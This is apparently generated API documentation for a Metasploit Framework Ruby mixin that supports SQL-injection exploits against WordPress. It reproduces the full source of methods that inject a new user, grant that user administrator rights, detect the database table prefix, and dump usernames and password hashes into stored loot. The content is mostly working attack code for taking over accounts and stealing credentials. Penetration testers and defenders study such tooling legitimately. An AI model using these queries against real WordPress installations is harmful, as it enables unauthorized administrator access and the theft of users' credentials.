Module: Msf::Exploit::Remote::HTTP::Wordpress::SQLi

Includes:
SQLi
Defined in:
lib/msf/core/exploit/remote/http/wordpress/sqli.rb

Overview

This module provides reusable SQLi (SQL Injection) helper functions for WordPress exploits in Metasploit Framework. These functions allow for actions such as creating new users, granting privileges, and dumping user credentials via SQL injection vulnerabilities in WordPress.

Usage:

Include this module in your exploit or auxiliary module and use
the provided functions to simplify SQL injection logic.

Instance Method Summary collapse

Methods included from SQLi

#create_sqli, #initialize

Instance Method Details

#wordpress_sqli_create_user(username, password, email) ⇒ void

This method returns an undefined value.

Inject an user into the WordPress database, creating or updating an entry.

This method either creates a new user entry in the ‘users’ table or updates an existing one. If the user already exists, their password, nicename, email, and display name will be updated. Otherwise, a new user will be created with the provided credentials and default values. The password is hashed using MD5 for compatibility with older WordPress versions.

Parameters:

  • username (String)

    The username for the new or updated user.

  • password (String)

    The password for the new user (stored as an MD5 hash).

  • email (String)

    The email for the new user.



37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# File 'lib/msf/core/exploit/remote/http/wordpress/sqli.rb', line 37

def wordpress_sqli_create_user(username, password, email)
  query = <<-SQL
    INSERT INTO #{@prefix}users (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name)
    SELECT '#{username}', MD5('#{password}'), '#{username}', '#{email}', user_registered, user_status, '#{username}'
    FROM #{@prefix}users
    WHERE NOT EXISTS (
      SELECT 1 FROM #{@prefix}users WHERE user_login = '#{username}'
    )
    LIMIT 1
    ON DUPLICATE KEY UPDATE
      user_pass = MD5('#{password}'),
      user_nicename = '#{username}',
      user_email = '#{email}',
      display_name = '#{username}'
  SQL

  @sqli.raw_run_sql(query.strip.gsub(/\s+/, ' '))

  vprint_status("{WPSQLi} User '#{username}' created or updated successfully.")
end

#wordpress_sqli_get_users_credentials(count = 10) ⇒ Array<Array>

Get users’ credentials from the wp_users table

Parameters:

  • count (Integer) (defaults to: 10)

    The number of users to retrieve (default: 10)

Returns:

  • (Array<Array>)

    Array of arrays containing user login and password hash



126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
# File 'lib/msf/core/exploit/remote/http/wordpress/sqli.rb', line 126

def wordpress_sqli_get_users_credentials(count = 10)
  columns = ['user_login', 'user_pass']
  data = @sqli.dump_table_fields("#{@prefix}users", columns, '', count)

  table = Rex::Text::Table.new(
    'Header' => "#{@prefix}users",
    'Indent' => 4,
    'Columns' => columns
  )

  loot_data = ''
  data.each do |user|
    table << user
    loot_data << "Username: #{user[0]}, Password Hash: #{user[1]}\n"

    create_credential({
      workspace_id: myworkspace_id,
      origin_type: :service,
      module_fullname: fullname,
      username: user[0],
      private_type: :nonreplayable_hash,
      jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),
      private_data: user[1],
      service_name: 'WordPress',
      address: datastore['RHOST'],
      port: datastore['RPORT'],
      protocol: 'tcp',
      status: Metasploit::Model::Login::Status::UNTRIED
    })

    vprint_good("{WPSQLi} Credential for user '#{user[0]}' created successfully.")
  end

  vprint_status('{WPSQLi} Dumped user data:')
  print_line(table.to_s)

  loot_path = store_loot(
    'wordpress.users',
    'text/plain',
    datastore['RHOST'],
    loot_data,
    'wp_users.txt',
    'WordPress Usernames and Password Hashes'
  )

  print_good("Loot saved to: #{loot_path}")

  vprint_status('{WPSQLi} Reporting host...')
  report_host(host: datastore['RHOST'])

  vprint_status('{WPSQLi} Reporting service...')
  report_service(
    host: datastore['RHOST'],
    port: datastore['RPORT'],
    proto: 'tcp',
    name: fullname,
    info: description.strip
  )

  vprint_status('{WPSQLi} Reporting vulnerability...')
  report_vuln(
    host: datastore['RHOST'],
    port: datastore['RPORT'],
    proto: 'tcp',
    name: fullname,
    refs: references,
    info: description.strip
  )

  vprint_good('{WPSQLi} Reporting completed successfully.')

  return data
end

#wordpress_sqli_grant_admin_privileges(username) ⇒ void

This method returns an undefined value.

Grant admin privileges to the specified user by creating or updating the appropriate meta entry.

This method either creates a new entry in the ‘usermeta’ table or updates an existing one to grant administrator capabilities to the specified user. If the entry for the user’s capabilities already exists, it will be updated to assign administrator privileges. If the entry does not exist, a new one will be created.

Parameters:

  • username (String)

    The username of the user to grant privileges to.



67
68
69
70
71
72
73
74
75
76
77
78
79
# File 'lib/msf/core/exploit/remote/http/wordpress/sqli.rb', line 67

def wordpress_sqli_grant_admin_privileges(username)
  admin_query = <<-SQL
    INSERT INTO #{@prefix}usermeta (user_id, meta_key, meta_value)
    SELECT ID, '#{@prefix}capabilities', 'a:1:{s:13:"administrator";s:1:"1";}'
    FROM #{@prefix}users
    WHERE user_login = '#{username}'
    ON DUPLICATE KEY UPDATE
      meta_value = 'a:1:{s:13:"administrator";s:1:"1";}'
  SQL

  @sqli.raw_run_sql(admin_query.strip.gsub(/\s+/, ' '))
  vprint_status("{WPSQLi} Admin privileges granted or updated for user '#{username}'.")
end

#wordpress_sqli_identify_table_prefixString

Identify the table prefix for the WordPress installation

Returns:

  • (String)

    The detected table prefix

Raises:



85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# File 'lib/msf/core/exploit/remote/http/wordpress/sqli.rb', line 85

def wordpress_sqli_identify_table_prefix
  indicator = rand(0..19)
  random_alias = Rex::Text.rand_text_alpha(1..5)
  default_prefix_check = "SELECT #{indicator} FROM information_schema.tables WHERE table_name = 'wp_users'"
  result = @sqli.run_sql(default_prefix_check)&.to_i

  if result == indicator
    vprint_status("{WPSQLi} Retrieved default table prefix: 'wp_'")
    return 'wp_'
  end
  vprint_status('{WPSQLi} Default prefix not found, attempting to detect custom table prefix...')

  query = <<-SQL
    SELECT LEFT(table_name, LENGTH(table_name) - LENGTH('users'))
    FROM information_schema.tables
    WHERE table_schema = database()
      AND table_name LIKE '%\\_users'
      AND (SELECT COUNT(*)
            FROM information_schema.columns #{random_alias}
            WHERE #{random_alias}.table_schema = tables.table_schema
              AND #{random_alias}.table_name = tables.table_name
              AND #{random_alias}.column_name IN ('user_login', 'user_pass')
          ) = 2
    LIMIT 1
  SQL

  prefix = @sqli.run_sql(query.strip.gsub(/\s+/, ' '))
  unless prefix && !prefix.strip.empty?
    print_error('{WPSQLi} Unable to detect the table prefix.')
    return nil
  end

  vprint_status("{WPSQLi} Custom table prefix detected: '#{prefix}'")

  prefix
end

#wordpress_sqli_initialize(sqli) ⇒ void

This method returns an undefined value.

Function to initialize the SQLi instance in the mixin.

This function sets up the SQLi instance that is initialized in the exploit module. The SQLi instance is passed as a parameter to ensure it is accessible within the mixin and can be used for executing SQL injection queries.

Parameters:

  • sqli (Object)

    The SQLi instance initialized in the exploit module.



21
22
23
24
# File 'lib/msf/core/exploit/remote/http/wordpress/sqli.rb', line 21

def wordpress_sqli_initialize(sqli)
  @sqli = sqli
  @prefix = wordpress_sqli_identify_table_prefix
end